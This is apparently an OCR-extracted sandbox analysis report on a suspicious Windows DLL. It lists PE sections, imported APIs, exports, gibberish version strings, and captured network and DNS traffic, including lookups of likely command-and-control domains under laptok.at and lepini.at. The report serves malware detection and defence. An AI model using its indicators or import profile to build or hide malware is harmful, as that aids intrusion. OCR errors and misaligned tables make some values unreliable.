IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
Sections
Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 0x3eal0 0x3ec00 False 0.680193289343 data 6.87784518477 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
.rdata 0x40000 0x1dc69 0x1de00 False 0.628489474372 data 5.60800335505 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
.data 0x5e000 0xfla8 0x1a00 False 0.327524038462 data 4.07640958192 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
.rsrc 0x6e000 0x810 0xa00 False 0.384375 data 3.35688636481 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
.reloc 0x6f000 0x2b5c 0x2c00 False 0.547141335227 data 5.26856093985 IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ
Resources
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Name RVA Size Type Language Country

RT_STRING 0x6e560 0x12e data English United States
RT_STRING 0x6e690 0x180 data English United States
RT_VERSION 0x6e120 0x2c0 data English United States
RT_MANIFEST 0x6e3e0 0x17d XML 1.0 document text English United States
Imports

DLL Import

KERNEL32.dll CreateProcessA, MultiByteToWideChar, GetStartupInfoA, CopyFileA, SetFileAttributesA, LoadLibraryA, Sleep,

VirtualProtect, GetCurrentDirectoryA, GetFileTime, CloseHandle, DeleteFileA, GetTickCount, WaitForSingleObject,
GetModuleFileNameA, ExitProcess, WideCharToMultiByte, InterlockedIincrement, InterlockedDecrement,
InterlockedCompareExchange, InterlockedExchange, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection,
LeaveCriticalSection, GetLastError, HeapFree, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter,
SetUnhandledExceptionFilter, IsDebuggerPresent, GetTimeFormatA, GetDateFormatA, GetCurrentThreadld,
GetCommandLineA, GetCPInfo, RaiseException, RtlUnwind, LCMapStringW, LCMapStringA, GetStringTypeW,
HeapAlloc, HeapCreate, HeapDestroy, VirtualFree, VirtualAlloc, HeapReAlloc, GetModuleHandleW, GetProcAddress,
TIsGetValue, TlIsAlloc, TIsSetValue, TIsFree, SetLastError, GetACP, GetOEMCP, IsValidCodePage,
GetTimeZonelnformation, SetHandleCount, GetStdHandle, GetFileType, FreeEnvironmentStringsA,
GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter,
GetCurrentProcessld, GetSystemTimeAsFileTime, GetStringTypeA, WriteFile, GetConsoleCP, GetConsoleMode,
FlushFileBuffers, ReadFile, SetFilePointer, HeapSize, GetUserDefaultLCID, GetLocalelnfoA, EnumSystemLocalesA,
IsValidLocale, InitializeCriticalSectionAndSpinCount, GetLocalelnfow, WriteConsoleA, GetConsoleOutputCP,
WriteConsoleW, SetStdHandle, CreateFileA, CompareStringA, CompareStringW, SetEnvironmentVariableA,
GetModuleHandleA

GPEDIT.DLL BrowseForGPO, CreateGPOLink, ImportRSoPData

Exports

Name Ordinal Address
DlIRegisterServer 1 0x1003a2d0
Saverose 2 0x1003b9c0
Thingchord 3 0x1003bb20

Version Infos

Description Data

LegalCopyright Men period 2012 High property
InternalName HowDry

FileVersion 3.3.2.848

CompanyName Machine sand

Rub pass Both get

ProductName Exercise.dll

ProductVersion 3.3.2.848

FileDescription Men period

Translation 0x0409 0x04b0

Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution
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Total Packets: 125

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 22, 2021 10:22:30.125745058 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.125775099 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.125785112 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.126854897 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.127774954 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.128660917 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.168467999 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.168651104 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.168653965 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.168667078 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.168713093 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.169179916 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.169323921 CET 443 49762 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.169414997 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.170245886 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.170331001 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.171245098 CET 443 49764 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.171324015 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.171380997 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.173252106 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.175750971 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.176310062 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.176851988 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.178183079 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.213952065 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.214850903 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.214869022 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.214927912 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.214939117 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.214951992 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.214982986 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.215734005 CET 443 49762 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.218036890 CET 443 49762 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.218056917 CET 443 49762 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.218070030 CET 443 49762 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.218136072 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.218194962 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.218524933 CET 443 49764 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.218808889 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219341040 CET 443 49764 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219383955 CET 443 49764 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219410896 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.219417095 CET 443 49764 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219434023 CET 49764 443 192.168.2.4 151.101.1.44
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 22, 2021 10:22:30.219454050 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219459057 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.219835043 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219877005 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219907999 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.219911098 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.219933987 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.219955921 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.220344067 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.220386982 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.220407009 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.220422029 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.220436096 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.220478058 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.220642090 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.227056980 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.227102995 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.227138996 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.227164984 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.227188110 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.238770008 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.247037888 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.267890930 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.267904043 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.268800974 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.268816948 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.268821001 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269056082 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269066095 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269068956 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269148111 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269349098 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269356012 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269357920 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269526005 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269685030 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.269879103 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.270121098 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.270661116 CET 49762 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.275578022 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.276139021 CET 49764 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.281562090 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.281841040 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.289940119 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.290041924 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.310683966 CET 443 49763 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.310699940 CET 443 49760 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.310756922 CET 49763 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.310801983 CET 49760 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.311271906 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.311501980 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.311543941 CET 443 49761 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.311557055 CET 49761 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.311626911 CET 443 49759 151.101.1.44 192.168.2.4
Jan 22, 2021 10:22:30.311685085 CET 49759 443 192.168.2.4 151.101.1.44
Jan 22, 2021 10:22:30.311722994 CET 443 49761 151.101.1.44 192.168.2.4

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 22, 2021 10:22:14.953986883 CET 62389 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:15.004823923 CET 53 62389 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:16.152322054 CET 49910 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:16.200123072 CET 53 49910 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 22, 2021 10:22:17.053478003 CET 55854 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:17.101533890 CET 53 55854 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:18.475025892 CET 64549 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:18.523046970 CET 53 64549 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:19.695913076 CET 63153 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:19.752144098 CET 53 63153 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:21.774990082 CET 52991 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:21.832423925 CET 53 52991 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:21.977278948 CET 53700 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:22.025253057 CET 53 53700 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:22.936449051 CET 51726 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:22.998114109 CET 53 51726 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:23.144337893 CET 56794 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:23.192470074 CET 53 56794 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:23.308284044 CET 56534 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:23.359330893 CET 53 56534 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:23.851175070 CET 56627 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:23.903099060 CET 56621 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:23.905189037 CET 53 56627 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:23.965473890 CET 53 56621 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:25.736314058 CET 63116 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:25.808186054 CET 53 63116 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:26.317377090 CET 64078 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:26.385763884 CET 53 64078 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:27.457756042 CET 64801 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:27.522135019 CET 53 64801 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:28.109246969 CET 61721 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:28.173569918 CET 53 61721 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:28.669420004 CET 51255 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:28.729680061 CET 53 51255 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:28.935030937 CET 61522 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:28.985711098 CET 53 61522 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:30.030206919 CET 52337 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:30.087997913 CET 53 52337 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:31.858191013 CET 55046 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:31.906213045 CET 53 55046 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:44.457304955 CET 49612 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:44.505333900 CET 53 49612 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:45.010353088 CET 49285 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:45.058202028 CET 53 49285 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:45.533080101 CET 50601 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:45.583926916 CET 53 50601 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:46.858156919 CET 60875 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:46.908955097 CET 53 60875 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:48.009017944 CET 56448 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:48.056947947 CET 53 56448 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:48.826272011 CET 59172 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:48.877064943 CET 53 59172 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:49.702872992 CET 62420 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:49.752746105 CET 53 62420 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:51.737354994 CET 60579 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:51.785300016 CET 53 60579 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:52.660470963 CET 50183 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:52.708281994 CET 53 50183 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:52.751801968 CET 60579 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:52.808357000 CET 53 60579 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:53.676310062 CET 50183 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:53.732480049 CET 53 50183 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:53.813358068 CET 60579 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:53.872875929 CET 53 60579 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:54.751154900 CET 50183 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:54.800225973 CET 53 50183 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:55.822925091 CET 60579 53 192.168.2.4 8.8.8.8
Jan 22, 2021 10:22:55.879236937 CET 53 60579 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 22, 2021 10:22:56.758759975 CET 50183 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:22:56.815004110 CET 53 50183 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:59.520256042 CET 61531 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:22:59.580581903 CET 53 61531 8.8.8.8 192.168.2.4
Jan 22, 2021 10:22:59.836859941 CET 60579 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:22:59.884768009 CET 53 60579 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:00.769476891 CET 50183 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:00.817528963 CET 53 50183 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:05.021661997 CET 49228 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:05.081130981 CET 53 49228 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:14.209455967 CET 59794 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:14.276134014 CET 53 59794 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:14.868804932 CET 55916 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:14.929044008 CET 53 55916 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:15.498727083 CET 52752 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:15.558080912 CET 53 52752 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:15.994611025 CET 60542 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:16.056185961 CET 53 60542 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:16.249583960 CET 60689 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:16.315665007 CET 53 60689 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:16.667967081 CET 64206 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:16.724391937 CET 53 64206 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:17.431432009 CET 50904 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:17.487570047 CET 53 50904 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:18.827280045 CET 57525 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:18.883861065 CET 53 57525 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:19.735281944 CET 53814 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:19.794025898 CET 53 53814 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:21.282136917 CET 53418 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:22.302459955 CET 53418 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:23.091906071 CET 62833 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:23.291399002 CET 53 53418 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:23.714015961 CET 59260 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:23.773457050 CET 53 59260 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:24.133869886 CET 62833 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:24.192240000 CET 53 62833 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:53.614837885 CET 49944 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:53.940606117 CET 53 49944 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:54.442811966 CET 63300 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:54.490890980 CET 53 63300 8.8.8.8 192.168.2.4
Jan 22, 2021 10:23:58.301455021 CET 61449 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:23:58.372677088 CET 53 61449 8.8.8.8 192.168.2.4
Jan 22, 2021 10:24:00.498025894 CET 51275 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:24:00.554508924 CET 53 51275 8.8.8.8 192.168.2.4
Jan 22, 2021 10:24:07.806113958 CET 63492 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:24:08.141377926 CET 53 63492 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:02.319375992 CET 58945 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:02.376198053 CET 53 58945 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:07.208496094 CET 60779 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:07.256606102 CET 53 60779 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:07.763724089 CET 64014 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:07.766397953 CET 57091 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:07.814851046 CET 53 64014 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:08.180428982 CET 53 57091 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:08.989173889 CET 55904 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:09.048562050 CET 53 55904 8.8.8.8 192.168.2.4
Jan 22, 2021 10:25:20.199268103 CET 52109 53 192.168.2.4 8.8.8.8

Jan 22, 2021 10:25:20.255620956 CET 53 52109 8.8.8.8 192.168.2.4
DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Jan 22, 2021 10:22:23.308284044 CET 192.168.2.4 8.8.8.8 0x9158 Standard query  www.msn.com A (IP address) IN (0x0001)

)
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Timestamp

Jan 22, 2021 10:22:25.736314058 CET

Jan 22, 2021 10:22:26.317377090 CET

Jan 22, 2021 10:22:27.457756042 CET

Jan 22, 2021 10:22:28.109246969 CET

Jan 22, 2021 10:22:28.669420004 CET

Jan 22, 2021 10:22:28.935030937 CET

Jan 22, 2021 10:22:30.030206919 CET

Jan 22, 2021 10:23:53.614837885 CET

Jan 22, 2021 10:24:00.498025894 CET

Jan 22, 2021 10:24:07.806113958 CET

Jan 22, 2021 10:25:02.319375992 CET

Jan 22, 2021 10:25:07.208496094 CET

Jan 22, 2021 10:25:07.763724089 CET

Jan 22, 2021 10:25:07.766397953 CET

Jan 22, 2021 10:25:08.989173889 CET

Jan 22, 2021 10:25:20.199268103 CET

DNS Answers

Timestamp Source IP Dest IP

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:23.359330893
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:25.808186054
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:26.385763884
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:27.522135019
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:28.173569918
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:28.729680061
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:28.985711098
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:28.985711098
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:30.087997913
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:30.087997913
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:30.087997913
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:30.087997913
CET

Jan 22, 2021 8.8.8.8 192.168.2.4

10:22:30.087997913
CET
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Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x9158

Oxccc2

0xe304

0xf709

Oxa51b

OxaOef

0x2940

0x2940

Oxaf37

Oxaf37

Oxaf37

0Oxaf37

0xaf37

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxcce2

0xe304

0xf709

Oxa51b

OxaOef

0x2940

Oxaf37

0x613b

0x1887

0x93ba

0xdc86

0x5bc3

0xdf50

0x6886

0x6b43

0x8c66

Name

www.msn.com

web.vortex
.data.msn.com

contextual
.media.net

Ig3.media.net

hblg.media.net

cvision.me
dia.net

srth.msn.com

www.msn.com

img.img-ta
boola.com

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net
tls13.tabo

ola.map.fa
stly.net

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

CName

Name

web.vortex
.data.msn.com

contextual
.media.net
Ig3.media.net
hblg.media.net
cvision.media.net
srth.msn.com
img.img-ta
boola.com
apil0.laptok.at
apil0.laptok.at
apil0.laptok.at
c56.lepini.at
resolverl.

opendns.com

resolverl.
opendns.com
api3.lepini.at

api3.lepini.at

api3.lepini.at

Address

www-msn-com.a-0003.a-

msedge.net

web.vortex.data.microsoft

.com

104.84.56.24

104.84.56.24

104.84.56.24

cvision.media.net.edgeke

y.net

www.msn.com

www-msn-com.a-0003.a-

msedge.net

tls13.taboola.map.fastly.n

et

151.101.1.44

151.101.65.44

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

A (IP address)

151.101.129.44 A (IP address)

151.101.193.44 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP

Trans ID

Jan 22, 2021 8.8.8.8 192.168.2.4 0x613b

10:23:53.940606117
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x1887

10:24:00.554508924
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x93ba

10:24:08.141377926
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0xdc86

10:25:02.376198053
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x5bc3

10:25:07.256606102
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0xdf50

